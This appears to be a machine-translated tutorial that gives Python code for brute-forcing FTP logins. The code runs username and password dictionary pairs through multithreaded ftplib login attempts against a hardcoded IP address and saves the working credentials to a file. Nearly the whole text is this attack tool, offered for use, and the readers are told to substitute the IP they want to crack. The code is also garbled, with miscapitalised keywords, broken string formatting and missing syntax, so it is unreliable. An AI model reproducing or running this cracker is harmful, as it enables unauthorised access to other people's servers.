Python's specific powerful library files, many functions have corresponding library files, so it is necessary to learn, which has an FTP corresponding library file Ftplib, we only need the login function, and then use multithreading to call the corresponding dictionary inside the field to login, but also according to their own needs, According to their own situation to write the necessary procedures, so that the program instead of us to do some tedious duplication of work.
The following is directly on the code, the following is the main file
Copy Code code as follows:
Import OS
Import time
Import threading
Class Mythread (threading. Thread):
def __init__ (Self,command):
Threading. Thread.__init__ (self)
Self.command=command
def run (self):
Kk=os.system (Self.command)
Ushand=open ("User.txt", "R")
Pshand=open ("Passwd.txt", "R")
Listuser=[]
Listpass=[]
For us in open ("User.txt", "R"):
Lineus=ushand.readline (). strip (' \ n ')
Listuser.append (Lineus)
For PS in open ("Passwd.txt", "R"):
Lineps=pshand.readline (). strip (' \ n ')
Listpass.append (Lineps)
For I in Listuser:
For J in Listpass:
Command= "ftp.py%s"% (I,J)
Print command
My_thread=mythread (command)
My_thread.start ()
Time.sleep (0.1)
The code in the corresponding ftp.py file is as follows
Copy Code code as follows:
Import Ftplib
Import socket
Import Sys
Ftp=ftplib. FTP (' 121.54.175.204′ ')
Try
USER=SYS.ARGV[1]
PASSWD=SYS.ARGV[2]
Ftp.login (USER,PASSWD)
Hand=open (' Aa.txt ', ' A + ')
Hand.write (user+ ":" +passwd+ "\ n")
Except Ftplib.error_perm:
Print "passwd is World"
Two files are required, respectively, User.txt and Passwd.txt, which are the user name and account dictionary.
Code in which the FTP cracked IP can be modified to their own to crack the IP, the last correct account and password will be entered into the Aa.txt file.